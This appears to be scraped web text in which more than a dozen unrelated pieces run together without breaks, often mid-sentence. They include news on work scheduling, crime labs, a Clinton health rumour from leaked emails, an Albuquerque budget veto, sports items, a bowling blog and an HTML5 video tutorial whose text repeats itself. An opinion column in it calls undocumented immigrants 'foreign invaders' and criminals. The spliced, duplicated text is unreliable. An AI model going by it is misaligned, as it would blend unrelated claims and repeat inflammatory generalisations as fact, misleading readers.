schedules unpredictable and workers expendable. It also allows management to skimp on benefits reserved for full-timers, or, as Medsker noticed at Starbucks, on giving employees lunch breaks; baristas earn lunch breaks at five hours. (For the record, Starbucks provides benefits starting at 20-hour workweek.) Just-in-time scheduling “views workers as equipment,” University of Chicago professor Susan Lambert, who wrote a 2014 report on precarious work schedules, told me. Store managers are carrying out dictates of upper-level management to stay within the bloc of hours the company allots each store. “Fear is driving a lot of these problematic scheduling practices,” Lambert told council member
There isn’t $500,000 lying around for the job, so the city might do it in bits, over many years. That’s not quite what he was hoping for, Brockington said Friday. “I’m not promoting paving over it. What I’m saying is I notice the frequency that taxpayers are re-sodding the site. I think we all agree we would like city hall grounds to look respectable and welcoming and not threadbare,” Brockington said. He’d like to hear more about middle-ground possibilities, like replacing only the bits of grass that get damaged worst. Also, renters that regularly churn up the ground could be charged for the repair costs, he suggested. “I just don’t want taxpayers to keep paying for something when we might have other options that might give us a more permanent solution,” Brockington said. “One sheet of concrete is probably not the best, either.” When city hall opened as regional headquarters in 1989, the open space facing Laurier was covered with crushed red stone, nicknamed Red Square. A Citizen editorial then called it “an underused, windswept wasteland.” It was meant to be temporary, at least, and by the end of 1993, the regional government and the National Capital Commission had a plan to turn the plaza and Confederation Park across the street into a space for festivals. Young Ottawa councillor Jim Watson opposed the idea. The regional government’s $1.8-million share was too expensive and we had plenty of parks, he said at the time. Also, there was no way the project would qualify for a federal-provincial stimulus program the regional government hoped would cover the bill, he argued. Regional council voted to go ahead. The feds and province did kick in. The lawn became a major festival spot. Since then, the pendulum has swung back Watson’s way. The Rink of Dreams was the single biggest pave-over. It’s a great spot in winter, hot and eyewateringly bright in summer (plus it came with a wart of a cheap Zamboni shack). Other grass has gone as we’ve sprinkled monuments and memorials on the city hall grounds, most of them surrounded by their own little circles or squares of paving stones. Meanwhile, Toronto has been spending millions to green up its city hall’s front yard, Nathan Phillips Square. Green roofs, more trees, more gardens, a new fountain. The stark concrete expanse it used to be is bad for the city, Toronto decided. Ottawa’s pave-the-lawn notion is so far just an idea, not quite a plan. Let’s keep it that way, and have a city where we live up to our own standards.Rumors about Hillary Clinton’s health are not likely to be quashed anytime soon due to a cryptic statement written by top aide Huma Abedin in April 2015. WikiLeaks’ document dump of personal emails belonging to Clinton campaign chairman John Podesta show Ms. Abedin on April 21, 2015 — just days after the her boss’s campaign kicked off — mentioning the candidate’s cognitive difficulties. The remark came at the tail end of a conversation about Jeb Bush’s utilization of Super PACs. “I will leave commenting on campaign tactics to others. What I have made absolutely clear is that corporate money and secret money have no place in our democracy and we should get rid of it once and for all,” Joel Benenson said in the penultimate email provided by WikiLeaks. Ms. Abedin then responded with multiple top advisers copied, “She’s going to stick to notes a little closer this am, still not perfect in her head.” The release of Mr. Podesta’s stolen documents, which U.S. intelligence agencies blame on Russian state actors, comes less than two months after Mrs. Clinton collapsed at a 9/11 memorial service in New York. The former secretary of state’s campaign blamed pneumonia for the incident after video of Secret Service agents lifting her into a van was posted online. “She was put on antibiotics and advised to rest and modify her schedule,” Dr. Lisa Bardack, Mrs. Clinton’s physician, said in a statement at the time. “While at this morning’s event, she became overheated and dehydrated. I have just examined her and she is now re-hydrated and recovering nicely.” Mrs. Clinton, 68, suffered a concussion after fainting inside her home in December 2012. Doctors found a blood clot in her head during followup evaluations, which essentially required a one-month absence from work. Dr. Bardack said in 2013 that treatment given to Mrs. Clinton brought “complete resolution” to the case. Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.As soon as the 49ers released veteran linebacker NaVorro Bowman, the Raiders were showing interest in the former 4-time All Pro. He will make his first free agent visit today, crossing the bay to Oakland. He also has a visit lined up with the Cowboys according to ESPN’s Adam Schefter. Former 49ers LB Navorro Bowman is visiting the Raiders in Monday and then is planning to visit the Cowboys, per source. — Adam Schefter (@AdamSchefter) October 15, 2017 The Raiders already had a need at middle linebacker and that need got even more urgent with the loss of Marquel Lee to an ankle injury. Bowman may or may not make his second visit today, but either way he is expected to sign no later than today with some team. If it is with the Raiders, he will be joining the team on a short week as they face the Chiefs Thursday night. The 29-year-old was a 2010 third round pick by the 49ers. He made four-straight All Pro teams, including his last full season in 2015. He played just four games last season before being lost to a torn Achilles tendon. It was the second major injury for Bowman after having torn several knee ligaments in the 2014 NFC Championship game. He hasn’t looked like the same player since his return, and many don’t believe he’ll be able to return to form. It may be worth a shot to find out.Fathers who use cocaine at the time of conceiving a child may be putting their sons at risk of learning disabilities and memory loss. The findings of the animal study were published online in Molecular Psychiatry by a team of researchers from the Perelman School of Medicine at the University of Pennsylvania. The researchers say the findings reveal that drug abuse by fathers–separate from the well-established effects of cocaine use in mothers– may negatively impact cognitive development in their male offspring. The study, which was led by Mathieu Wimmer, PhD, a post-doctoral researcher in the laboratory of R. Christopher Pierce, PhD, a professor of Neuroscience in Psychiatry in the Perelman School of Medicine at the University of Pennsylvania, found evidence that the sons of fathers that ingested cocaine prior to conception struggle to make new memories. Their findings demonstrated that the sons — but not the daughters — of male rats that consumed cocaine for an extended period of time could not remember the location of items in their surroundings and had impaired synaptic plasticity in hippocampus, a brain region critical for learning and spatial navigation in humans and rodents. “These results suggest that the sons of male cocaine addicts may be at risk for learning deficits,” said senior author, R. Christopher Pierce, PhD, a professor of Neuroscience in Psychiatry in the Perelman School of Medicine at the University of Pennsylvania. Pierce and his colleagues propose that epigenetic mechanisms are at the root of the problem. Epigenetics refers to heritable traits that are not caused by changes in the DNA sequence, as is the case with genetic inheritance. DNA is tightly wound around proteins called histones, like thread around a spool, and chemical changes to histones influence the expression of genes, which is an epigenetic process. Their research showed that cocaine use in dads caused epigenetic changes in the brain of their sons, thereby changing the expression of genes important for memory formation. D-serine, a molecule essential for memory, was depleted in male rats whose father took cocaine and replenishing the levels of D-serine in the sons’ hippocampus improved learning in these animals. In collaboration with Benjamin Garcia, PhD, presidential professor of Biochemistry and Biophysics in the Epigenetics Institute at the Perelman School of Medicine, the authors showed that cocaine abuse in dads broadly altered the chemical marks on histones in the brain of their sons, even though the offspring were never exposed to cocaine. Chemical modifications on the histones were changed to favor active transcription of genes in the hippocampus of male rats with a paternal history of cocaine taking, allowing more production of the enzyme D-amino acid oxidase, which degrades D-serine. The authors propose that increased expression of the enzyme, driven by changes in the epigenetic landscape, cause the memory problems in the sons of addicted rats. “There is substantial interest in the development of D-serine and related compounds, which are well tolerated by humans, as drug therapies,” Pierce said. “The ability of D-serine to reverse the adverse effects of paternal cocaine taking on learning adds potential clinical relevance to our research.”A member of the forensic section of the French gendarmerie (Cellule d'Identification Criminelle, CIC) uses a UV lamp as he looks for evidence on a garment in a laboratory of the gendarmerie in Beauvais on November 21, 2013. AFP PHOTO / PHILIPPE HUGUEN (Photo credit should read PHILIPPE HUGUEN/AFP/Getty Images) The equipment in the St. Paul Police crime lab was filthy. Technicians accidentally contaminated some samples, and made fundamental mistakes while testing others. In one case, a Post-it note on a case file indicated that someone not employed by the lab had opened drug evidence and weighed it. In another, a technician used Wikipedia as a “technical reference.” These were among the findings of two independent reviews of the St. Paul Police crime lab — findings that shocked Minnesota authorities and shut down the facility for six months in 2013. That summer, state public defenders identified 1,700 drug cases that could qualify for “post-conviction relief” because evidence brought to the lab might have been mishandled or misinterpreted. What happened in St. Paul, however, is just one of dozens of crime lab scandals that have erupted around the United States over the course of the last decade, scandals that have required thousands of cases to be either reviewed, reversed or retried. The Department of Justice on Monday announced a plan to address the problem, saying it will begin requiring its prosecutors to only use evidence that is processed by accredited labs. Right now, accreditation is voluntary for crime labs in most states, which means many lack any outside oversight. In the Bureau of Justice Statistics’ 2009 census of publicly-funded crime labs, 17 percent were unaccredited. Rates at private labs are believed to be far lower. For example, the American Society of Crime Lab Directors — Laboratory Accreditation Board, a primary forensics accreditor in America, for example, reports it has accredited 356 publicly-funded labs, but just 26 of the country’s hundreds of private labs. The new policy, announced by Deputy Attorney General Sally Q. Yates at a meeting of the National Commission on Forensic Sciences, is unlikely to precipitate any immediate or universal overhaul of the nation’s crime labs. It will only directly affect labs contracted by the DOJ that aren’t already accredited — and it will only begin doing so in 2020. Furthermore, the new policy seemingly has a built-in loophole: Prosecutors are required to use accredited labs “when practicable,” a phrase Yates told the commission was not meant to be used loosely, but only when using those labs would cause great delay or excessive cost. Nonetheless, the announcement was celebrated by commission members, who in April overwhelmingly voted in favor of universal accreditation. The commission was created in 2013 with a mandate to advise the DOJ on how to improve forensic sciences. Monday’s announcement marked the first time the department has turned that advice into policy. “I think it’s huge. It shows a commitment to actually improving forensic sciences,” said commission vice chairman Nelson Santos. “A large percentage of large labs are already accredited — it’s really the smaller labs we’re trying to get.” But other commission members said that the policy doesn’t reach far enough. To prevent lab scandals from happening, accreditation has to do more than simply become universal — it must also become rigorous, said commission member Paul Giannelli, a law professor and evidence and procedure expert at Case Western Reserve University. Crime labs are accredited by private entities, often a nonprofit associated with a professional forensics association. Each group varies in its standards, but most require labs to maintain tested and calibrated equipment; put in place standard operating procedures, including for the reporting of errors; and establish quality controls. But many of these agencies have been criticized for lacking rigorous standards and showing little muscle when problems occur. For instance, Giannelli said, some labs are able to choose for themselves the cases their reviewers see, rather than having those cases selected at random. “What’s the chance you’ll give them your best-ever casework? It’s high. That’s what I would do,” Giannelli said. Santos said the process has improved considerably in recent years, but conceded it still has holes. “Is accreditation a panacea? No it isn’t. It’s a step forward,” Santos said. Nor does accreditation solve many other common problems that crop up in labs, from error-prone or undertrained technicians to unscientific conclusions. The sensitivity and accuracy of DNA science, which began being used in courts in the late 1980s, has thrown into doubt the accuracy of many other forensic disciplines that previously commanded confidence in courts, from arson investigation to hair analysis to bite mark analysis. But in recent years, even DNA forensics have come into question. Such problems cannot be addressed by accreditation alone. Still, commission member Cecelia Crouse, director of the Palm Beach County Sheriff’s Office Crime Laboratory in Florida, argued that even if it’s imperfect, accreditation can truly help to transform labs. Her lab has been accredited since 1992. “I think it’s made our lab credible — not just to prosecutors and defense attorneys and courts, but to the staff themselves,” she said. That was the hope of Minnesota’s leaders in 2014 when they became one of a handful of states to require all forensics labs to become accredited. The St. Paul Police lab itself finally did so later that year, a point of pride for city officials in the wake of the St. Paul scandal.Former Presidents Bush and Obama owe a personal apology to the family of a California boy gravely injured by an illegal alien. They should also pay for the child’s medical bills. I’ll explain why in just a few minutes. But first, here’s the back story: Click here to for a free subscription to Todd’s newsletter! It’s a must-read for Conservatives! On May 6, the Lake family was returning to their home in San Ysidro after a day trip to Disneyland. They were just about a block from home when a truck driven by an illegal alien broadsided their car. Benjamin Lake and his wife suffered minor injuries. Their six-year-old son was severely injured. Lennox spent 18 days in the hospital – recovering from deep skull fractures, a broken nose and other injuries. The little boy faces a long and arduous recovery. Constantino Banda-Acosta, the driver of the truck, has been charged with violating federal immigration laws. He’s also facing a number of charges in connection with the crash. Click here to join Todd’s Facebook page! But here’s the kick the pants: The San Diego Union Tribune reports that Banda-Acosta had either been deported or allowed to voluntarily return to Mexico 17 times over the past 14 years. And not once was he charged with violating federal immigration law. So let’s get right to the point: An American child was nearly killed on American soil by an illegal alien – and I blame the Bush and the Obama administrations. Banda-Acosta was able to come and go as he pleased because Republicans and Democrats turned a blind eye to our immigration laws. They refused to secure the border and that decision nearly cost Lennox his life. How many more Americans have to suffer at the hands of the foreign invaders? Immigration attorney Andrew Nietor told the newspaper it was unfair to politicize the Lake family’s accident. “I think this is the sort of case the Trump administration tries to politicize and tries to portray as typical, but it’s not typical,” Nietor said. “One of the reasons this case is noteworthy is because of the extreme circumstances.” Unfortunately, it’s become quite typical for American blood to be shed on American soil at the hands of illegals. Remember Kate Steinle? What about Joshua Wilkerson, Jamiel Shaw Jr. and David Kriehn? “Every study shows that the non-citizen population, including the undocumented, is more law-abiding than the U.S. citizen population,” Nietor said. First of all, there is no such thing as a “non-citizen population.” They are called illegal immigrants. Second of all, that argument is a load of bull. Every single person living in our nation illegally is a criminal. They’re called illegal immigrants because they are breaking the law. And that brings me back to Presidents Bush and Obama. Had they only done their job and secured the border, Lennox would not have spent 18 days in the hospital. But their administrations failed the Lake family of San Ysidro, California. They failed to defend American sovereignty. They failed to secure the border. And as a result foreign enemies were allowed to set foot on American soil. Fortunately, President Trump is in the process of making sure that never happens again. As for Bush and Obama – they need to make things right with the Lake family. I suspect they are facing a mountain of medical bills – not to mention a long road to recovery. So I am calling on both former presidents to pay for Lennox Lake’s medical bills. It’s the only good and honorable thing to do. After all, their political expedience and capitulation nearly got an American boy killed..................................................................................................................................................................................... ALBUQUERQUE, N.M. — Albuquerque mayor Richard Berry has vetoed the city budget sent to him by councilors last month, saying it wasn’t fiscally sound. But he and two councilors have come up with a compromise $528.9 million budget that will be presented to the City Council on Monday. “The budget that came up from the City Council was well-intentioned, but it was simply a recipe to overpromise and underdeliver,” Berry told the Journal on Thursday. It’s the first time since Berry became mayor in 2009 that he has vetoed a budget. ADVERTISEMENTSkip The city charter calls for the council to take up the veto on Monday for a possible override, but that would require six council votes. The council adopted the vetoed budget by an 8-1 vote, but it’s unclear how many councilors would vote for an override. Berry formally notified the council of his veto in a memo to council President Isaac Benton on Thursday. “While I appreciate the council’s hard work and desire to add more money for issues that are important to all of us, I cannot in good conscience sign (the budget) as amended,” he wrote. Among the concerns cited by Berry are: • The bill leaves the general fund structurally imbalanced, meaning that expected revenues aren’t in line with proposed expenditures. • It reduces the Albuquerque Police Department’s budget by $2.4 million and reserves the funding for a “new” longevity program, leaving the administration in a precarious position with regard to continuing the existing longevity program already in place. • The spending plan sought to appropriate $3 million in revenues the city doesn’t have to pay for one-time programs and projects. It proposed to pay for those items through savings from a proposed four-month hiring freeze. • The bill also sought to reduce general fund reserves and the risk recovery fund, which is used to cover lawsuits. Berry, in his veto message, referenced the budget compromise that he and Councilors Pat Davis and Brad Winter have come up with. That compromise bill will be presented to the full council for consideration on Monday, although the council likely wouldn’t vote on it until June 19. ADVERTISEMENTSkip “I believe it represents an acceptable compromise budget proposal that is structurally balanced and sustainable,” the mayor said. “It provides additional funding for public safety and other critical needs of our community while providing a modest raise for our valuable employees and continues to grow reserves in my final year as mayor.” Among other expenses, the compromise budget includes 1.5 percent pay raises for fire union employees and 1 percent pay raises for all other city employees. Berry said the proposal includes no tax increases, although it does propose modest increases in some user fees. A round of golf will cost $1 more and it will cost 25 cents more to swim in a city pool, the mayor said. But not everyone is happy with the compromise. Councilor Don Harris, who fought for the budget to include $4 million in longevity pay for veteran police officers, called the proposal “truly unfortunate.” While the budget vetoed by the mayor included $4 million in longevity pay for police officers, the compromise budget lowers that amount to $2.4 million, the same amount currently available. “I don’t understand why we’d compromise on public safety at this stage in the city’s public safety crisis,” Harris said, pointing to the more than two dozen homicides in Albuquerque this year. He and Councilor Ken Sanchez proposed an increase in longevity pay, saying the city needs to do more to keep veteran officers on the streets. “The thinking of the mayor and apparently some councilors is we refuse to get emergency surgery because we want to put money away for our health savings account,” Harris later added. Davis, one of the architects of the budget compromise, said the proposed budget ensures that senior APD officers will continue to receive the longevity pay they have been receiving. The Berry administration had raised concerns that the vetoed budget placed all $4 million in longevity pay into a reserve fund, and that money would only be available if city revenue forecasts were positive. The compromise budget “guarantees every single employee from parks workers to police a 1 percent raise,” Davis said. “It’s not much, but we can revisit it in January if there’s more money available.” Davis said the compromise budget was designed to give the mayor and councilors part of what they asked for. Berry said he supports the compromise budget without amendments.In a dramatic finish to the championship match yesterday, the legendary PDW (Pete Weber) captured his 5th US Open title in a one-pin victory over Mike “The King of Swing” Fagan, with a clutch strike on the final ball to propel him to the 215-214 victory. For those who missed it, here’s the title match courtesy The PBA Rebroadcast YouTube Channel: So why am I talking about a bowling event on a childfree blog? Well, truth be told it fits here, because of something that happened during the entire TV finals. A number of times PDW blew up on someone in the audience for moving around during his approach. For those of you who aren’t bowlers, you have no idea how distracting that is. That’s why you’re not supposed to begin your approach until after the bowlers on the neighboring lanes have completed their shots. Even a little bit of motion out of the corner of your eye can really throw you off, and when a $60,000 check was on the line, I think he had every right to get angry over it. Come to find out later (reading the comments of one individual who was in the gallery on another blog) that the culprit was a little kid that was in like the front row of the gallery, right in the peripheral vision of the bowlers. I think it goes without saying that little kids are squirmy and can’t sit still for more than about 2 minutes. So why the HELL would you bring a little kid to the US Open? Do you seriously think they’re interested in professional bowling? Unless they’re just a bowling prodigy or come from a family of professional/serious recreational bowlers, I highly doubt they’d be remotely interested in watching a bunch of old guys bowl. Bowling isn’t a “spectator sport” so to speak, it’s a “genteman’s sport.” Not super exciting to watch unless you’re REALLY into bowling, like me or other hardcore bowlers/fans. I think this is a prime example of parents bringing their kids to a place that’s inappropriate. If anything, there was a whole space behind the bowlers that they could have gone where they would have been out of view of the competitors. What’s so hard about that? Why couldn’t they have acknowledged PDW and just moved somewhere that it wouldn’t be an issue. It’s not that big of a deal, well, if you think a little kid has any place in the audience at a pro bowling tournament. I don’t know. I have mixed feelings about this. Parents should know kids can’t sit still. I think the appropriate course of action would have been to move, but that’s just me. I guess I blame the parent as much as the kid in this case, the same way I blame parents for not teaching their kids bowling etiquette (like I’ve complained about on this blog before). Whatever the case, I might be one of the few siding with PDW on this matter, but I am. What do you think? AdvertisementsScenery Blueprint Nature Buildingsmall Buildinglarge Scenerynature Building Scenerystatue Park Tropical Shop Coaster Beta Challenge Sandbox Large Building Shops And Facilities First Aid Food Shop Gift Shop Steel Wing Coaster Statue Steel Other Coaster Steel Giga Coaster Hybrid Coaster Steel Family Coaster Other Shops And Facilities Information Kiosk Wooden Coaster Other Building Park Entrance Small Building Other Scenery Steel Inverted Coaster Atm Scene Special Effects Steel Typhoon Coaster Steel Powered Launch Coaster Drink Shop Toilet Coaster Station Steel Hypercoaster Ticket Booth Steel X-dimension Coaster Track Ride Water Ride Transport Ride Powered Ride English German Ride Skin Requires Dlc: Planet Coaster - Pdlc 1 Classic Ride Gentle Ride Interactive Ride Inverting Ride Large Ride Medium Ride Ride Spinning Ride Modern Ride Swinging Ride Thrill Ride Tracked Ride Small Ride Wheel Ride Tower Ride Animatronic Audio Fireworks Dlc: Back To The Future(tm) Time Machine Construction Kit Dlc: Knight Rider(tm) K.i.t.t. Construction Kit Dlc: The Munsters(r) Munster Koach Construction Kit Dlc: Spooky Ugc Ugcpack Scenario Staff Management Dlc: Adventure Dlc: Studios Hotel Dlc: Vintage Smallattractions Dlc: World's Fair Thememaker's Toolkit Restaurant Dlc: Magnificent Rides Collection Some items are not possible to include in the game. You can still find them if you select this box.About The Author Chris is a Developer Evangelist living in London, England, who writes about Javascript development, accessibility, and all things open web. After several years … More about Christian Heilmann… Syncing Content With HTML5 Video Smashing Newsletter Upgrade your inbox and get our editors’ picks twice a month. Your email Subscribe → One of the main changes from HTML4 to HTML5 is that the new specification breaks a few of the boundaries that browsers have been confined to. Instead of restricting user interaction to text, links, images and forms, HTML5 promotes multimedia, from a generic <object> element to a highly specified <video> and <audio> element, and with a rich API to access in pure JavaScript. Native multimedia capability has a few benefits. For instance, end users have full control over the multimedia. The native controls of browsers allow users to save videos locally or email them to friends. Also, HTML5 video and audio are keyboard-enabled by default, which is a great accessibility benefit. One of the main changes from HTML4 to HTML5 is that the new specification breaks a few of the boundaries that browsers have been confined to. Instead of restricting user interaction to text, links, images and forms, HTML5 promotes multimedia, from a generic <object> element to a highly specified <video> and <audio> element, and with a rich API to access in pure JavaScript. Native multimedia capability has a few benefits: End users have full control over the multimedia.. The native controls of browsers allow users to save videos locally or email them to friends. Also, HTML5 video and audio are keyboard-enabled by default, which is a great accessibility benefit. . The native controls of browsers allow users to save videos locally or email them to friends. Also, HTML5 video and audio are keyboard-enabled by default, which is a great accessibility benefit. End users do not need to install a plug-in to play them.. The browser already has everything it needs to play movies and sound. . The browser already has everything it needs to play movies and sound. Video and audio content on the page can be manipulated.. They are simply two new elements like any other that can be styled, moved, manipulated, stacked and rotated. . They are simply two new elements like any other that can be styled, moved, manipulated, stacked and rotated. You can build your own controls using HTML, CSS and JavaScript.. No new skills or development environment needed. . No new skills or development environment needed. Interaction with the rest of the page is simple.. The multimedia API gives you full control over the video, and you can make the video react both to changes in the video itself and to the page around it. Let’s quickly recap how you can use native video in the browser, starting with the embedding task. Further Reading on SmashingMag: Meet Smashing Book 6 — our brand new book focused on real challenges and real front-end solutions in the real world: from design systems and accessible single-page apps to CSS Custom Properties, CSS Grid, Service Workers, performance, AR/VR and responsive art direction. With Marcy Sutton, Yoav Weiss, Lyza D. Gardner, Laura Elizabeth and many others. Table of Contents → Embedding Video This is old news. Embedding video in a document is as easy as adding a <video> element and pointing it to the source video. Adding a controls attribute gives you native controls: <video src="chris.ogv" controls></video> This is the theory, though. In the real world of intellectual property, corporate competition and device-specific solutions, we as developers have to jump through a few hoops: <video controls="true" height="295" width="480"> <!-- hello iOS, Safari and IE9 --> <source src="chris.mp4" type="video/mp4"> <!-- Hello Chrome and Firefox (and Opera?) --> <source src="chris.webm" type="video/webm"> <!-- Hello Firefox and Opera --> <source src="chris.ogv" type="video/ogg"> <!-- Hello legacy --> Your browser does not support the video tag, <a href="http://www.youtube.com/watch?v=IhkUe_KryGY"> check the video on YouTube </a>. </video> This shows how we need to deliver video in three formats in order to satisfy all of the different browsers out there. There are a few ways to accomplish this. Here’s what I do… Convert Video With Miro Video Converter Miro Video Converter is an open-source tool for Mac that makes converting videos dead easy. Simply drag the video to the tool, select WebM as the output format, and watch the progress. A few other converters for Windows and Linux are available, too. Hosting And Automated Conversion On Archive.org Because I license my videos with Creative Commons, I can use Archive.org to both host the videos and convert the WebM versions to MP4 and OGV. Simply upload your video and wait about an hour. Reload the page, and the server pixies at Archive.org will have created the other two formats (and also a cool animated GIF of your video). You can use Archive.org to both host the videos and convert the WebM versions to MP4 and OGV. Large view. Industrial-Strength Conversion With Vid.ly WebM, OGV and MP4 take care of only the major browsers, though. If you want to support all mobile devices, tablets and consoles and you want the video quality to adapt to the user’s connection speed, then you’ll have to create a few dozen versions of the same video. Encoding.com feels our pain and has released a free service called Vid.ly, which converts any video you upload into many different formats more or less in real time. Unfortunately, the service is in private beta at the moment, but you can use the invite code HNY2011. Vid.ly converts any video you upload into many different formats more or less in real time. Large view. Furthermore, Vid.ly creates a URL for your video that automatically redirects the browser or device calling it to the right format. This keeps your embed code as simple as possible: <video src="http://vid.ly/4f3q1f?content=video" controls></video> Cool, isn’t it? The Power Of The HTML5 Video API: Syncing Content Now that our video is on the page, let’s check out the power of the API. Say, for example, you want to know what part of the movie is playing right now. This is as simple as subscribing to an event of the <video> element: <div id="stage"> <video src="http://vid.ly/4f3q1f?content=video" controls></video> <div id="time"></div> </div> <script> (function(){ var v = document.getElementsByTagName('video')[0] var t = document.getElementById('time'); v.addEventListener('timeupdate',function(event){ t.innerHTML = v.currentTime; },false); })(); </script> If you try this out in your browser, you will see the current time below the video when you play it. You will also see that the timeupdate event gets fired a lot and at somewhat random times. If you want to use this to sync the showing and hiding of parts of the document, then you’ll need to throttle it somehow. The easiest way to do this is to limit the number to full seconds using parseInt() : <div id="stage"> <video src="http://vid.ly/4f3q1f?content=video" controls></video> <div id="time"></div> </div> <script> (function(){ var v = document.getElementsByTagName('video')[0] var t = document.getElementById('time'); v.addEventListener('timeupdate',function(event){ t.innerHTML = parseInt(v.currentTime) +'-'+ v.currentTime; },false); })(); </script> You can use this to trigger functionality at certain times. For example, you can sync an Indiana Jones-style animation of a map to a video: For a full explanation of this demo, check out the blog post on Mozilla Hacks. Let’s have a go at something similar: a video that shows the content from web pages being referred to by a presenter. Check out this video demo of me explaining what we’re doing here, with the content appearing and disappearing at certain times in the video. Make sure to jump around the video with the controls. We’ve already covered how to get the current time of a video in seconds. What I want now is to display and hide a few parts of the website at certain times in the video. If video is not supported in the browser, then I would just show all of the content without any syncing. The first issue I have to solve is to allow the maintainer to control what is shown when. Normally, I’d use a JSON object in the JavaScript, but I figure that keeping the maintenance in the markup itself makes much more sense. HTML5 allows you to store information in data- attributes. So, to make it easy to tell the script when to show what, I just use data-start and data-end attributes, which define the time frames for the articles that I want to sync with the video: <article data-start="64" data-end="108"> <header><h1>Archive.org for conversion</h1></header> <p><a href="http://archive.org">Archive.org</a> is a website dedicated to archiving the Internet. For content released as under a Creative Commons license, it offers hosting for video and audio and automatically converts the content to MP4 and Ogg video for you.</p> <iframe src="http://archive.org"></iframe> </article> You can try it out by downloading the code and changing the values yourself (or use Firebug or the Web Inspector to change it on the fly). Here’s the script (using jQuery) that makes this happen: /* if the document is ready… / $(document).ready(function(){ / if HTML5 video is supported / if($('video').attr('canPlayType')){ $('aside::first').append('<p>Play the video above and see how'+ 'the different connected content sections'+ 'in the page appear at the right moment. '+ 'Feel free to jump forward and backward</p>'); var timestamps = [], last = 0, all = 0, now = 0, old = 0, i=0; / hide all articles via CSS / $('html').addClass('js'); / Loop over the articles, read the timestamp start and end and store them in an array / $('article').each(function(o){ if($(this).attr('data-start')){ timestamps.push({ start : +$(this).attr('data-start'), end : +$(this).attr('data-end'), elm : $(this) }); } }); all = timestamps.length; / when the video is playing, round up the time to seconds and call the showsection function continuously / $('video').bind('timeupdate',function(event){ now = parseInt(this.currentTime); / throttle function calls to full seconds / if(now > old){ showsection(now); } old = now; }); / Test whether the current time is within the range of any of the defined timestamps and show the appropriate section. Hide all others. */ function showsection(t){ for(i=0;i<all;i++){ if(t >= timestamps[i].start && t <= timestamps[i].end){ timestamps[i].elm.addClass('current'); } else { timestamps[i].elm.removeClass('current'); } } }; }; }); So, what’s going on here? First, we’re checking whether the browser is capable of playing HTML5 video by testing for the canPlayType attribute. If all is fine, then we add some explanatory text to the document (which wouldn’t make sense if the browser couldn’t show a video). Then, we define some variables to use and add a class of js to the root element of the document. This, together
2005 a formal human rights complaint against the United States was submitted to the United Nations Commission on Human Rights. The complaint stemmed from methyl-mercury contamination of subsistence fish caused by gold mines which were abandoned following the mid-nineteenth century gold rush in California and by the dumping of contaminates by the U.S. military in Alaska. These actions, according to the complaint, have impacted the Pit River tribe in California and the Yupik in Alaska. In California, hundreds of tons of mercury from the abandoned gold mines have resulted in toxic levels of mercury in fish. For California Indians, these fish have both a food value and a spiritual value. In Alaska, the occurrence of cancer among Alaska Natives has been rising since 1990 at a rate 30% higher than for the general population. Evidence was also included in the complaint that the U.S. Department of Defense and the U.S. Department of Energy, and other federal and state agencies, frequently dismiss links with contaminants as ‘anecdotal’ or blame the life-styles of those who are suffering from health problems. The United Nations Permanent Forum on Indigenous Issues in 2006 discussed a Declaration on the Rights of Indigenous Peoples. Article 3 states: "All indigenous peoples have the right of self-determination. By virtue of that right they freely determine their political status and freely pursue their economic, social, and cultural development." Three nations—the United States, Canada, and Australia—argued that this statement was in violation of international human rights law. In 2007, the United Nations General Assembly voted to adopt the Declaration on the Rights of Indigenous Peoples. The Declaration is a nonbinding agreement that formally established the individual and collective rights of indigenous people. The United States and Canada were among the four nations that vote against the Declaration. Some observers of indigenous rights feel that this was most significant development in international human rights law in decades. As Indian nations become more frustrated with their ability to obtain fairness and understanding in the political process—Congress and the state legislatures—and in the legal process—the courts—they are turning more to international organizations, such as the United Nations and the Organization of American States, to help bring pressure to resolve issues of concern to them.THERESA May has raised the threat level to critical and announced the Army will be deployed on the streets of Britain amid fears another terror attack could be imminent. The terror threat level is critical for only the third time ever as investigators continue to probe links suicide bomber Salman Abedi may have to terror groups. After meeting with Cobra the PM said Britain will never be defeated by terrorism after last night’s brutal slaying at Manchester Arena, which killed 22 concert-goers and maimed 59. Raising the terror threat to critical means security services are expecting another attack imminently. Mrs May has warned it is possible a “wider group of individuals” were responsible for the atrocity which targeted youngsters at a pop concert by Ariana Grande. Read moreNews Training Camp Battles: Niles Paul vs Vernon Davis By With the start of the 2016 Redskins Training Camp just around the corner, we here at Redskins Capital Connection are casting our eyes forward at the pivotal battles that will be taking place in Richmond. Whether it’s a battle for a starting role, or just a battle for a roster spot, Training Camp always involves story lines that capture the attention of Redskins fans everywhere as they pay close attention to which players will be making the biggest impacts in the burgundy and gold this upcoming season. This series will look at the two players battling, as well as the ‘wildcard’ third player who has the most potential to swoop in with an unlikely win. The Tight End position appears to be an area of relative wealth and depth for the Washington Redskins in 2016. Firmly atop the depth chart is Jordan Reed, who well and truly broke out onto the national stage last year and solidified himself as one of the most dangerous receiving weapons at his position in the entire league. All that said; there’s more to the Tight End position on this team than the sublime talent in the receiving game that Reed brings to the table. Much more. It is, in fact, one of the more fascinating position groups to project and evaluate as we head into Training Camp this season. The Battle for the number two Tight End position Sitting behind Jordan Reed on the depth chart are some mercurially talented –yet oddly diverse– Tight Ends with no apparent clear pecking order yet established. It would appear to be largely a two-horse race between Niles Paul, the Redskins veteran who missed the entire regular season in 2015 after badly fracturing and dislocating his ankle in the first preseason game, and Vernon Davis, the two-time Pro Bowl Tight End who led the entire NFL in receiving touchdowns in 2009, and who joined the Redskins via free agency from Denver this past spring. During Training Camp one short year ago, Redskins Head Coach Jay Gruden surprised many by naming Paul, and not Reed, ahead of the first official depth chart released by the team in the lead up to the preseason. Given that Reed had begun to show flashes of his brilliance the season prior, naturally some found this move odd. Gruden explained it, stating: “I think Niles Paul is probably a little bit more of a complete [Tight End] when you are talking about blocking also – when you are talking about your base offense where you go one Fullback, one Running Back and one Tight End where the running game and pass blocking is very important for that guy. Niles has emerged as the starter.” In short, Gruden saw Paul as a more well-rounded and versatile option at the position, echoing a recurring theme on the Redskins team where the ability to perform strongly at multiple roles often outshines the ability to perform exceptionally at one. As he specifically outlined, Coach Gruden put an enormous value on Paul’s proficiency as a blocker in the run game -an area where Reed has struggled. In 2015, Reed gave up 13 penalties, 12 of which were accepted for a total of 104 yards. Almost all of these came when Reed was given some form of blocking assignment. Niles Paul drops the hammer on a Redskins punt as the gunner It’s not just the run block skills that may help give Paul an advantage this season either; he has proven himself to be a consistent contributor, and even a leader, on special teams as well. Although his days as an outside gunner are probably over, Special Teams Coach Ben Kotwica sang Paul’s praises frequently on 